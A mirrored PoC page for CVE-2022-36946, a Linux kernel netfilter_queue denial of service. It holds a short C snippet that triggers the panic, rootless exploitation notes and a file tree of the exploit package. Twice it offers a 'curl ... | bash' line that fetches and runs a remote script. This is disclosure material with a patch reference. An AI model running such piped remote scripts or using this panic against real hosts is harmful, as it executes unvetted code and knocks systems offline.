Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-36946 PoC — Linux kernel 安全漏洞

Source
Associated Vulnerability
Title:Linux kernel 安全漏洞 (CVE-2022-36946)
Description:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 5.18.14及以前版本存在安全漏洞,该漏洞源于net/netfilter/nfnetlink_queue.c中的nfqnl_mangle允许远程攻击者造成拒绝服务(panic),因为在nf_queue判决中使用一个字节的nfta_payload属性时,skb_pull可能会遇到一个负的skb->len。。
Description
CVE-2022-36946 linux kernel panic in netfilter_queue
Readme
# CVE-2022-36946

Reported-by: Domingo Dirutigliano and Nicola Guerrera

While we were working on [firegex](https://github.com/Pwnzer0tt1/firegex), our application firewall for CTF Attack-Defence competitions, we stumbled upon a few kernel panics. 

This strange behavour was than isolated and anlayzed, leading to the discovery of this potential security flaw in the netfilter module, specifically with nfnetlink.

# How does it work?

The kernel panics when sending nf\_queue verdict with 0-byte nfta\_payload attribute.

```
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );
```

This happens because the IP/IPv6 stack pulls the IP(v6) header from the packet after the input hook.

So, if user truncates the packet below the header size, this skb\_pull() will result in a malformed skb resulting in a panic. 

Try it executing `curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash` also with an unprivilaged user (more details below).

# Do we *really* need root...?

Using linux namespaces, in particular user namespaces (enabled via `kernel.unprivileged_userns_clone=1`), a normal user is able 
to create a network namespace, enabling them to use the same kernel primitives that trigger the panic.
This will allow you to use the vulnerability without having root.

This scenario is not uncommon: for example [podman](https://podman.io/) uses this option to run its (rootless) containers,
and on some distros this option is enabled by default.

You can also try to execute the exploit without root privileges executing:

```bash
podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946
```

or if you want to test it on-fly (only tar and curl are required to be installed):

```bash
curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash
```

# Fix up

Fixed in linux kernel 5.19 [view diff](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/diff/net/netfilter/nfnetlink_queue.c?id=v5.19&id2=v5.18)

Original patch by the linux kernel security team [here](https://marc.info/?l=netfilter-devel&m=165883202007292&w=2)

# Requirements for exploiting this vuln:

- A vulnerable linux kernel
- CAP\_NET\_ADMIN capability (also in a namespace)

# Why panic6?

It worked at the 6th attempt, so we kept the name.

# A new way to poweroff your PC:

![terminal_speed](https://user-images.githubusercontent.com/41539800/230730255-9046efde-4155-4e4d-934b-8a555cd72327.gif)

# Presentation for DevFest-2023

[https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing](https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing)
File Snapshot

[4.0K] /data/pocs/909092355f04a7d5c65c953ba34e4a9574a0b5e1 ├── [4.0K] amd64 │   ├── [776K] ip │   ├── [223K] iptables │   ├── [211K] ld-linux.so.1 │   ├── [366K] libbpf.so.1 │   ├── [ 42K] libcap.so.2 │   ├── [2.3M] libc.so.6 │   ├── [110K] libelf.so.1 │   ├── [711K] libgcc_s.so.1 │   ├── [ 26K] libmnl.so.0 │   ├── [942K] libm.so.6 │   ├── [ 33K] libnetfilter_queue.so.1 │   ├── [ 33K] libnfnetlink.so.0 │   ├── [207K] libnftnl.so.11 │   ├── [ 21M] libstdc++.so.6 │   ├── [ 66K] libxtables.so.12 │   ├── [ 98K] libz.so.1 │   ├── [842K] libzstd.so.1 │   ├── [ 17K] nfpanic │   └── [4.0K] xtables │   ├── [ 14K] libarpt_mangle.so │   ├── [ 14K] libebt_802_3.so │   ├── [ 14K] libebt_among.so │   ├── [ 14K] libebt_arpreply.so │   ├── [ 14K] libebt_arp.so │   ├── [ 14K] libebt_dnat.so │   ├── [ 22K] libebt_ip6.so │   ├── [ 26K] libebt_ip.so │   ├── [ 14K] libebt_log.so │   ├── [ 14K] libebt_mark_m.so │   ├── [ 14K] libebt_mark.so │   ├── [ 14K] libebt_nflog.so │   ├── [ 14K] libebt_pkttype.so │   ├── [ 14K] libebt_redirect.so │   ├── [ 14K] libebt_snat.so │   ├── [ 14K] libebt_stp.so │   ├── [ 14K] libebt_vlan.so │   ├── [ 14K] libip6t_ah.so │   ├── [ 14K] libip6t_DNPT.so │   ├── [ 14K] libip6t_dst.so │   ├── [ 14K] libip6t_eui64.so │   ├── [ 14K] libip6t_frag.so │   ├── [ 14K] libip6t_hbh.so │   ├── [ 14K] libip6t_HL.so │   ├── [ 14K] libip6t_icmp6.so │   ├── [ 14K] libip6t_ipv6header.so │   ├── [ 14K] libip6t_mh.so │   ├── [ 14K] libip6t_NETMAP.so │   ├── [ 14K] libip6t_REJECT.so │   ├── [ 14K] libip6t_rt.so │   ├── [ 14K] libip6t_SNPT.so │   ├── [ 18K] libip6t_srh.so │   ├── [ 14K] libipt_ah.so │   ├── [ 14K] libipt_CLUSTERIP.so │   ├── [ 14K] libipt_ECN.so │   ├── [ 14K] libipt_icmp.so │   ├── [ 14K] libipt_NETMAP.so │   ├── [ 14K] libipt_realm.so │   ├── [ 14K] libipt_REJECT.so │   ├── [ 14K] libipt_TTL.so │   ├── [ 14K] libipt_ULOG.so │   ├── [ 14K] libxt_addrtype.so │   ├── [ 14K] libxt_AUDIT.so │   ├── [ 14K] libxt_bpf.so │   ├── [ 14K] libxt_cgroup.so │   ├── [ 14K] libxt_CHECKSUM.so │   ├── [ 14K] libxt_CLASSIFY.so │   ├── [ 14K] libxt_cluster.so │   ├── [ 14K] libxt_comment.so │   ├── [ 14K] libxt_connbytes.so │   ├── [ 14K] libxt_connlabel.so │   ├── [ 15K] libxt_connlimit.so │   ├── [ 14K] libxt_CONNMARK.so │   ├── [ 14K] libxt_CONNSECMARK.so │   ├── [ 36K] libxt_conntrack.so │   ├── [ 14K] libxt_cpu.so │   ├── [ 19K] libxt_CT.so │   ├── [ 14K] libxt_dccp.so │   ├── [ 14K] libxt_devgroup.so │   ├── [ 12] libxt_DNAT.so │   ├── [ 14K] libxt_DSCP.so │   ├── [ 14K] libxt_ecn.so │   ├── [ 14K] libxt_esp.so │   ├── [ 35K] libxt_hashlimit.so │   ├── [ 14K] libxt_helper.so │   ├── [ 14K] libxt_HMARK.so │   ├── [ 14K] libxt_IDLETIMER.so │   ├── [ 14K] libxt_ipcomp.so │   ├── [ 14K] libxt_iprange.so │   ├── [ 14K] libxt_ipvs.so │   ├── [ 14K] libxt_LED.so │   ├── [ 14K] libxt_length.so │   ├── [ 14K] libxt_limit.so │   ├── [ 15K] libxt_LOG.so │   ├── [ 14K] libxt_mac.so │   ├── [ 14K] libxt_MARK.so │   ├── [ 12] libxt_MASQUERADE.so │   ├── [ 19K] libxt_multiport.so │   ├── [ 28K] libxt_NAT.so │   ├── [ 14K] libxt_nfacct.so │   ├── [ 14K] libxt_NFLOG.so │   ├── [ 15K] libxt_NFQUEUE.so │   ├── [ 11] libxt_NOTRACK.so │   ├── [ 14K] libxt_osf.so │   ├── [ 18K] libxt_owner.so │   ├── [ 14K] libxt_physdev.so │   ├── [ 14K] libxt_pkttype.so │   ├── [ 14K] libxt_policy.so │   ├── [ 14K] libxt_quota.so │   ├── [ 14K] libxt_RATEEST.so │   ├── [ 18K] libxt_recent.so │   ├── [ 12] libxt_REDIRECT.so │   ├── [ 14K] libxt_rpfilter.so │   ├── [ 26K] libxt_sctp.so │   ├── [ 14K] libxt_SECMARK.so │   ├── [ 23K] libxt_SET.so │   ├── [ 12] libxt_SNAT.so │   ├── [ 15K] libxt_socket.so │   ├── [ 14K] libxt_standard.so │   ├── [ 18] libxt_state.so │   ├── [ 14K] libxt_statistic.so │   ├── [ 14K] libxt_string.so │   ├── [ 14K] libxt_SYNPROXY.so │   ├── [ 14K] libxt_TCPMSS.so │   ├── [ 14K] libxt_TCPOPTSTRIP.so │   ├── [ 14K] libxt_tcp.so │   ├── [ 14K] libxt_TEE.so │   ├── [ 22K] libxt_time.so │   ├── [ 14K] libxt_TOS.so │   ├── [ 14K] libxt_TPROXY.so │   ├── [ 14K] libxt_TRACE.so │   ├── [ 14K] libxt_u32.so │   └── [ 14K] libxt_udp.so ├── [4.0K] arm64 │   ├── [693K] ip │   ├── [263K] iptables │   ├── [183K] ld-linux.so.1 │   ├── [306K] libbpf.so.0 │   ├── [ 79K] libbsd.so.0 │   ├── [ 34K] libcap.so.2 │   ├── [1.6M] libc.so.6 │   ├── [114K] libelf.so.1 │   ├── [ 42K] libmd.so.0 │   ├── [ 22K] libmnl.so.0 │   ├── [ 26K] libnetfilter_queue.so.1 │   ├── [ 26K] libnfnetlink.so.0 │   ├── [193K] libnftnl.so.11 │   ├── [ 66K] libxtables.so.12 │   ├── [102K] libz.so.1 │   ├── [ 18K] nfpanic │   └── [4.0K] xtables │   ├── [ 66K] libarpt_mangle.so │   ├── [ 66K] libebt_802_3.so │   ├── [ 66K] libebt_among.so │   ├── [ 66K] libebt_arpreply.so │   ├── [ 66K] libebt_arp.so │   ├── [ 66K] libebt_dnat.so │   ├── [ 66K] libebt_ip6.so │   ├── [ 66K] libebt_ip.so │   ├── [ 66K] libebt_log.so │   ├── [ 66K] libebt_mark_m.so │   ├── [ 66K] libebt_mark.so │   ├── [ 66K] libebt_nflog.so │   ├── [ 66K] libebt_pkttype.so │   ├── [ 66K] libebt_redirect.so │   ├── [ 66K] libebt_snat.so │   ├── [ 66K] libebt_stp.so │   ├── [ 66K] libebt_vlan.so │   ├── [ 66K] libip6t_ah.so │   ├── [ 66K] libip6t_DNPT.so │   ├── [ 66K] libip6t_dst.so │   ├── [ 66K] libip6t_eui64.so │   ├── [ 66K] libip6t_frag.so │   ├── [ 66K] libip6t_hbh.so │   ├── [ 66K] libip6t_HL.so │   ├── [ 66K] libip6t_icmp6.so │   ├── [ 66K] libip6t_ipv6header.so │   ├── [ 66K] libip6t_mh.so │   ├── [ 66K] libip6t_NETMAP.so │   ├── [ 66K] libip6t_REJECT.so │   ├── [ 66K] libip6t_rt.so │   ├── [ 66K] libip6t_SNPT.so │   ├── [ 66K] libip6t_srh.so │   ├── [ 66K] libipt_ah.so │   ├── [ 66K] libipt_CLUSTERIP.so │   ├── [ 66K] libipt_ECN.so │   ├── [ 66K] libipt_icmp.so │   ├── [ 66K] libipt_NETMAP.so │   ├── [ 66K] libipt_realm.so │   ├── [ 66K] libipt_REJECT.so │   ├── [ 66K] libipt_TTL.so │   ├── [ 66K] libipt_ULOG.so │   ├── [ 66K] libxt_addrtype.so │   ├── [ 66K] libxt_AUDIT.so │   ├── [ 66K] libxt_bpf.so │   ├── [ 67K] libxt_cgroup.so │   ├── [ 66K] libxt_CHECKSUM.so │   ├── [ 66K] libxt_CLASSIFY.so │   ├── [ 66K] libxt_cluster.so │   ├── [ 66K] libxt_comment.so │   ├── [ 66K] libxt_connbytes.so │   ├── [ 66K] libxt_connlabel.so │   ├── [ 67K] libxt_connlimit.so │   ├── [ 66K] libxt_CONNMARK.so │   ├── [ 66K] libxt_CONNSECMARK.so │   ├── [ 68K] libxt_conntrack.so │   ├── [ 66K] libxt_cpu.so │   ├── [ 67K] libxt_CT.so │   ├── [ 66K] libxt_dccp.so │   ├── [ 66K] libxt_devgroup.so │   ├── [ 12] libxt_DNAT.so -> libxt_NAT.so │   ├── [ 66K] libxt_DSCP.so │   ├── [ 66K] libxt_ecn.so │   ├── [ 66K] libxt_esp.so │   ├── [ 67K] libxt_hashlimit.so │   ├── [ 66K] libxt_helper.so │   ├── [ 66K] libxt_HMARK.so │   ├── [ 66K] libxt_IDLETIMER.so │   ├── [ 66K] libxt_ipcomp.so │   ├── [ 67K] libxt_iprange.so │   ├── [ 66K] libxt_ipvs.so │   ├── [ 66K] libxt_LED.so │   ├── [ 66K] libxt_length.so │   ├── [ 66K] libxt_limit.so │   ├── [ 67K] libxt_LOG.so │   ├── [ 66K] libxt_mac.so │   ├── [ 66K] libxt_MARK.so │   ├── [ 12] libxt_MASQUERADE.so -> libxt_NAT.so │   ├── [ 67K] libxt_multiport.so │   ├── [ 68K] libxt_NAT.so │   ├── [ 66K] libxt_nfacct.so │   ├── [ 66K] libxt_NFLOG.so │   ├── [ 67K] libxt_NFQUEUE.so │   ├── [ 11] libxt_NOTRACK.so -> libxt_CT.so │   ├── [ 66K] libxt_osf.so │   ├── [ 67K] libxt_owner.so │   ├── [ 66K] libxt_physdev.so │   ├── [ 66K] libxt_pkttype.so │   ├── [ 66K] libxt_policy.so │   ├── [ 66K] libxt_quota.so │   ├── [ 66K] libxt_RATEEST.so │   ├── [ 67K] libxt_recent.so │   ├── [ 12] libxt_REDIRECT.so -> libxt_NAT.so │   ├── [ 66K] libxt_rpfilter.so │   ├── [ 66K] libxt_sctp.so │   ├── [ 66K] libxt_SECMARK.so │   ├── [ 67K] libxt_SET.so │   ├── [ 12] libxt_SNAT.so -> libxt_NAT.so │   ├── [ 67K] libxt_socket.so │   ├── [ 66K] libxt_standard.so │   ├── [ 18] libxt_state.so -> libxt_conntrack.so │   ├── [ 66K] libxt_statistic.so │   ├── [ 66K] libxt_string.so │   ├── [ 66K] libxt_SYNPROXY.so │   ├── [ 66K] libxt_TCPMSS.so │   ├── [ 66K] libxt_TCPOPTSTRIP.so │   ├── [ 66K] libxt_tcp.so │   ├── [ 66K] libxt_TEE.so │   ├── [ 66K] libxt_time.so │   ├── [ 66K] libxt_TOS.so │   ├── [ 67K] libxt_TPROXY.so │   ├── [ 66K] libxt_TRACE.so │   ├── [ 66K] libxt_u32.so │   └── [ 66K] libxt_udp.so ├── [ 236] Dockerfile ├── [3.1K] panic6.c ├── [3.2K] panic6_podman.c ├── [4.4K] panic6_rootless.c ├── [2.7K] README.md └── [ 303] run.sh 4 directories, 266 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.